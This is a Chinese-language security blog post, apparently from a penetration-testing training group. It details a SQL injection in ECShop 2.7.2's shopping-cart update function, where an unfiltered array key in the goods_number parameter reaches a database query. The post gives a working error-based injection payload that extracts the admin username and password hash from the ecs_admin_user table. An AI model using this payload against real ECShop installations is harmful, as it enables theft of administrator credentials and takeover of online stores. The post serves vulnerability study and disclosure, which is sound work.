作者:穿越时空
AD:学渗透找暗月,暗月欢迎你的加入
这篇文章是学员穿越时空所写,ecshop注入通杀,在截稿前ecshop2.7.3已经修补了。
但是2.7.2还没有修补。
正文:
跟暗月大大学习代码审计有段日子,代码审计有了很大的提高,感谢暗月。
ecshop很早之前就更新到2.7.3, 围观了大部分代码,说真的漏洞,前台通杀漏洞真是挖不到了,后台一堆渣渣漏洞,没意思。
那我们将目光投向ecshop 2.7.2把
$_POST['goods_number'] 没有过滤。
跟踪flow_update_cart函数
遍历数据使用$key带入查询。 在此之前还有一个检查。
if ($val <= 0 && !is_numeric($key)) { continue; }
这里应该是&&写成||这样才对的,不知道为什么。这里可以不用管了。
虽然init.php全局文件对value进行过滤,但是不影响。我们这里是可控的是$key
if (!get_magic_quotes_gpc()) { if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); }
搞个商品更新购物车。提交可以看到出错了。
exp:
goods_number%5B48' and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#%5D=1&goods_number%5B47%5D=1&submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6&step=update_cart
这个漏洞以前好像有人发过,不管了 反正是学习的。
暗月:果断给力 ,可惜2.7.3最新的已经修补了。!
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论